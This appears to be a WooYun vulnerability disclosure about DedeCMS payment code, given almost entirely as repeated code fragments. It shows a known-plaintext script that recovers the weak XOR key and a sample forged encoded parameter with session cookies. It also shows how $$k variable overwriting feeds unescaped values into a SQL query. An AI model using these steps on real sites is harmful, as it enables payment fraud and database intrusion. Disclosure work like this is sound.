WooYun.org

if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{
    parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
    foreach($mch_Post as $k => $v) $$k = $v;
    $row  = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
    if(!isset($row['buyid']))
    {
        ShowMsg("请不要重复提交表单!", 'javascript:;');
        exit();
    }
    if(!isset($paytype))
    {
        ShowMsg("请选择支付方式!", 'javascript:;');
        exit();
    }
    $buyid = $row['buyid'];
}

function mchStrCode($string,$action='ENCODE')
{
    $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
    $string    = $action == 'ENCODE' ? $string : base64_decode($string);
    $len    = strlen($key);
    $code    = '';
    for($i=0; $i<strlen($string); $i++)
    {
        $k        = $i % $len;
        $code  .= $string[$i] ^ $key[$k];
    }
    $code = $action == 'DECODE' ? $code : base64_encode($code);
    return $code;
}

$code  .= $string[$i] ^ $key[$k];

pd_encode=QEELURRVQVxbAEdTExNaXQsFFncBUQRjRgRKKHEKDUV3XFJRZUABRyhyaj5bCnhTAF4HDwEAVApQVgdSBgRZUANTEzN7aWVxY2AtcVwEVwMMUFFUAQFSCw8GVgRWBwBVBFcIV1QEAAdSClQEUhUgUAVTeQ5fCFtjXA5WBAcHCQBWBFYCAFgeJVBTUC9cXl9aZFoJUD5pVgp1BQAKAFQCCVRSCQRWVlZVV1hcUxNyezVsfnl2cXAvajRkeVwXBVBTUABeShlZVV4GUBMZWhFdE1RDXAxdF0ZcQA

product=card&pid=1&DedeUserID=8&DedeUserID__ckMd5=4674d94cfd3ea16d&PHPSESSID=2bb41dc4ba292f722ac1606a35da3b0b&DedeLoginTime=1393217459&DedeLoginTime__ckMd5=5710bf972c7cb9d2&ENV_GOBACK_URL=/dedecms/member/operation.php

$key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);

<?php
	$mingwen="product=card&pid=1&DedeUserID=";
	$miwen='QEELURRVQVxbAEdTExNaXQsFFncBUQRjRgRKKHEKDUV3XFJRZUABRyhyaj5bCnhTAF4HDwEAVApQVgdSBgRZUANTEzN7aWVxY2AtcVwEVwMMUFFUAQFSCw8GVgRWBwBVBFcIV1QEAAdSClQEUhUgUAVTeQ5fCFtjXA5WBAcHCQBWBFYCAFgeJVBTUC9cXl9aZFoJUD5pVgp1BQAKAFQCCVRSCQRWVlZVV1hcUxNyezVsfnl2cXAvajRkeVwXBVBTUABeShlZVV4GUBMZWhFdE1RDXAxdF0ZcQA';
	$miwen=base64_decode(urldecode($miwen));
	$len=strlen($mingwen);
	for($i=0;$i<strlen($mingwen);$i++){
		$key  .= $miwen[$i] ^ $mingwen[$i];
	}
	echo "Key is: ".$key;
?>

$key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);

if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)

md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify

$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));

if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{
	echo $pd_encode."<br>";
	echo mchStrCode($pd_encode,'DECODE');exit;
    parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
    foreach($mch_Post as $k => $v) $$k = $v;
    $row  = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
    if(!isset($row['buyid']))
    {
        ShowMsg("请不要重复提交表单!", 'javascript:;');
        exit();
    }
    if(!isset($paytype))
    {
        ShowMsg("请选择支付方式!", 'javascript:;');
        exit();
    }
    $buyid = $row['buyid'];
}

parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
foreach($mch_Post as $k => $v) $$k = $v;
$row  = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");

md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify